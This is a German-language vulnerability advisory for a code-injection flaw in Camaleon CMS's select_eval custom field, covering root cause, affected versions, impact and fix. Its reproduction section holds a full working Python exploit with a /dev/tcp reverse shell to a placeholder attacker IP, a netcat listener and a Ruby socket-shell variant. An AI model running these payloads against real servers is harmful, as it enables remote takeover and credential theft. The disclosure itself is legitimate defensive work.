Sicherheitshinweis: Camaleon CMS - Authentifizierte RCE über select_eval Custom Field

Zugewiesene CVE-ID: CVE-2026-66748

Produkt: Camaleon CMS (https://github.com/owen2345/camaleon-cms) Betroffene Versionen: 2.1.1 – 2.9.1 (eingeführt mit Commit 415cbda6 2015-10-16; behoben mit Commit 15882366 2026-03-29 / v2.9.2) Schweregrad: Hoch CVSS 4.0 Score: 8.7 CVSS 4.0 Vektor: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L CWE: CWE-94 (Code Injection) Forscher: Theodosis Paidakis Hersteller benachrichtigt: 2026-06-21 Verwandter Hinweis: GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 (label_eval - paralleler Feldtyp, gleiche Ursache, keine CVE zugewiesen)

Zusammenfassung

Der Custom-Field-Typ select_eval speichert einen beliebigen Ruby-Ausdruck in field.options[:command] und führt ihn über instance_eval in einer ERB-View aus, wann immer eine Beitragsbearbeitungsseite gerendert wird. Vor v2.9.2 konnte jeder Benutzer mit der Verwaltungsberechtigung custom_fields - die üblicherweise Konten mit der Editor-Rolle gewährt wird - diesen Feldtyp erstellen und serverseitige RCE erreichen. Ein select_eval-Feld wird bei jedem Seitenaufruf jedes Beitrags ausgelöst, der die Feldgruppe verwendet; seine Ausgabe wird zur Dropdown-Optionsliste. Die Schwachstelle wurde in v2.9.2 behoben.

Betroffene Komponente

Datei: app/views/camaleon_cms/admin/settings/custom_fields/fields/_select_eval.html.erb

<%= select_tag "#{field_name}[#{field.slug}][values][]",
      instance_eval(field.options[:command].to_s.strip),
      class: "..." %>

instance_eval wird mit dem Rohstring aus dem Datenbankeintrag aufgerufen. Keine Sandboxing und keine Compile-Time-Einschränkung darauf, welche Methoden oder Konstanten aus dem ERB-Binding (das ein vollständiger Rails-View-Kontext ist) zugänglich sind.

Datei: app/models/camaleon_cms/ability.rb (v2.9.1, Zeilen 161-165)

custom_fields wird nie explizit gewährt. Acht Ressourcen erhalten can :manage einzeln weiter oben in der Datei (media, comments, themes, widgets, nav_menu, plugins, users, settings), und custom_fields ist keine davon. Es ist nur über diesen Catch-all erreichbar, der manage an jeden Schlüssel vergibt, der im @roles_manager-Hash der Rolle vorhanden ist, ohne zu prüfen, ob dieser Schlüssel sicher zu gewähren ist:

@roles_manager.try(:each) do |rol_manage_key, val_role|
  can :manage, rol_manage_key.to_sym if val_role.to_s.cama_true?
rescue StandardError
  false
end

Jeder Benutzer, dessen Rolle das custom_fields-Bit gesetzt hat, erreicht daher den Custom-Fields-Controller. Im betroffenen Bereich wird dieses Bit routinemäßig an Rollen auf Editor-Ebene vergeben.

Die Neufassung in v2.9.2 ersetzt can durch einen safe_can-Wrapper und fügt eine explizite %i[...]-Liste hinzu, die sowohl custom_fields als auch select_eval enthält, aber die obige Catch-all-Schleife existiert in dieser Version weiterhin. Die Berechtigungsliste ist nicht das, was dieses Problem behebt; die Strong-Parameters-Allowlist in custom_fields_controller.rb und das can?(:manage, :select_eval)-Gate in custom_field_group.rb sind es.

Ursachenanalyse

Der Feldtyp select_eval wurde entwickelt, um Entwicklern zu ermöglichen, Select-Dropdowns dynamisch aus im CMS-Datenbank gespeichertem Ruby-Code zu befüllen. Das Ausführen von beliebigem Ruby aus einer Datenbankspalte über instance_eval ist gleichbedeutend damit, jedem Shell-Zugriff zu gewähren, der diesen Wert schreiben kann. Die Berechtigungsanforderung war custom_fields - eine routinemäßige Content-Management-Berechtigung - statt eines expliziten privilegierten Bits.

Bezug zu früheren Hinweisen

Dieser Befund wurde als GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 veröffentlicht und betrifft einen parallelen label_eval-Feldtyp in Camaleon CMS. Dieser Hinweis war Teil einer Reihe von fünf Befunden (GHSL-2024-182 bis GHSL-2024-186); nur zwei der fünf erhielten CVE-Nummern (CVE-2024-46986 und CVE-2024-46987). GHSL-2024-185 selbst hat keine zugewiesene CVE.

select_eval und label_eval teilen dieselbe Ursache - beliebiges in der Datenbank gespeichertes Ruby, das über instance_eval in einer ERB-View ausgeführt wird - unterscheiden sich aber in jeder anderen Dimension:

Dieser Bericht behandelt ausschließlich select_eval. Keine bestehende CVE oder öffentlicher Hinweis dokumentiert diesen spezifischen Feldtyp und seinen Ausnutzungspfad.

Schritte zur Reproduktion

Der betroffene Bereich v2.1.1 bis v2.9.1 wurde durch Quellcodeanalyse bestimmt; die Ausnutzung wurde Ende-zu-Ende auf v2.9.1 bestätigt. Erfordert nur ein Konto mit custom_fields-Berechtigung - keinen Serverzugriff.

Voraussetzungen: Jedes Konto mit gesetztem custom_fields-Manage-Bit - eine Standardberechtigung der Editor-Rolle im betroffenen Bereich.

Schritt 1. Starten Sie einen Listener:

nc -lnvp 4444

Schritt 2. Führen Sie das Skript aus. Bearbeiten Sie BASE, ATTACKER_IP, TYPE_ID, POST_ID und die Anmeldedaten.

TYPE_ID - Beitragstyp-ID, sichtbar in der Admin-Sidebar-URL (z. B. /admin/post_type/2/posts). POST_ID - eine beliebige Beitrags-ID unter diesem Typ, aus den Bearbeitungslinks der Beitragsliste.

import requests, re, time

BASE        = "http://target.example"
ATTACKER_IP = "ATTACKER_IP"
PORT        = 4444
TYPE_ID     = 2    # post type ID - from admin sidebar URL
POST_ID     = 1    # any post under that type - from post list edit links
USERNAME    = "editor"       # any account with custom_fields manage permission
PASSWORD    = "Editor1234!"

# Reverse shell. Thread.new keeps the page render from hanging.
# Payload strings must use double quotes so #{ } interpolation executes inside instance_eval.
PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{system("bash -i >& /dev/tcp/{ATTACKER_IP}/{PORT} 0>&1")}}}}'
# No-bash alternative (pure Ruby sockets, cross-platform):
# PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{require "socket";s=TCPSocket.open("{ATTACKER_IP}",{PORT});loop{{cmd=s.gets.chomp;s.puts(`#{{cmd}}`)}}}}}}' 
# Proof-of-concept (non-destructive - id/hostname appear in select dropdown on the edit page):
# PAYLOAD = '[["id: #{`id`.strip}", "v"], ["host: #{`hostname`.strip}", "h"]]'

s = requests.Session()

r    = s.get(f"{BASE}/admin/login")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)
s.post(f"{BASE}/admin/login", data={
    "authenticity_token": csrf,
    "user[username]": USERNAME,
    "user[password]": PASSWORD,
})
r    = s.get(f"{BASE}/admin/dashboard")
csrf = re.search(r'csrf-token" content="([^"]+)"', r.text).group(1)

idx = f"x{int(time.time())}"
r = s.post(f"{BASE}/admin/settings/custom_fields", data={
    "authenticity_token":               csrf,
    "custom_field_group[name]":         f"exploit_{idx}",
    "custom_field_group[assign_group]": f"PostType_Post,{TYPE_ID}",  # must be PostType_Post, not PostType
    f"fields[{idx}][name]":             "Shell",
    f"fields[{idx}][slug]":             f"rce_{idx}",
    f"field_options[{idx}][field_key]": "select_eval",
    f"field_options[{idx}][command]":   PAYLOAD,   # permit! passes this through unfiltered pre-v2.9.2
}, allow_redirects=True)

gid = re.search(r'/custom_fields/(\d+)', r.url)
print(f"Field group: id={gid.group(1) if gid else '?'} (HTTP {r.status_code})")

# Trigger: instance_eval fires when the edit form renders the select_eval field
r = s.get(f"{BASE}/admin/post_type/{TYPE_ID}/posts/{POST_ID}/edit")
print(f"Edit page: HTTP {r.status_code} - check listener")

Auswirkung

Jedes Konto mit custom_fields-Berechtigung (vor v2.9.2) erlangt:

• Beliebige Ruby-Ausführung im Rails-Prozess, mit den Privilegien des Webserver-Benutzers (deploy, www-data, rails, etc.)
• Persistente Ausführung: Die Payload wird bei jedem Seitenaufruf jedes Beitrags ausgelöst, der die Feldgruppe verwendet - kein einmaliger Exploit
• Session-Fälschung: Das Auslesen von secret_key_base aus config/secrets.yml ermöglicht das Fälschen beliebiger Session-Cookies für jeden Benutzer, einschließlich Administratoren
• Multi-Site-Auswirkung: Auf einer gemeinsam genutzten Camaleon-Instanz hat der Rails-Prozess Zugriff auf die Daten aller Sites

Vor v2.9.2 wurde die custom_fields-Berechtigung routinemäßig an Benutzer mit Editor-Rolle vergeben. Ein Angreifer, der ein beliebiges Konto auf Editor-Ebene kompromittiert, erreicht vollständige serverseitige RCE.

Zeitleiste

2026-06-19 - Entdeckt während der Quellcodeanalyse von v2.9.2 und v2.9.1 2026-06-21 - Hersteller benachrichtigt 2026-03-29 - Patch bereits veröffentlicht (v2.9.2, Commit 15882366)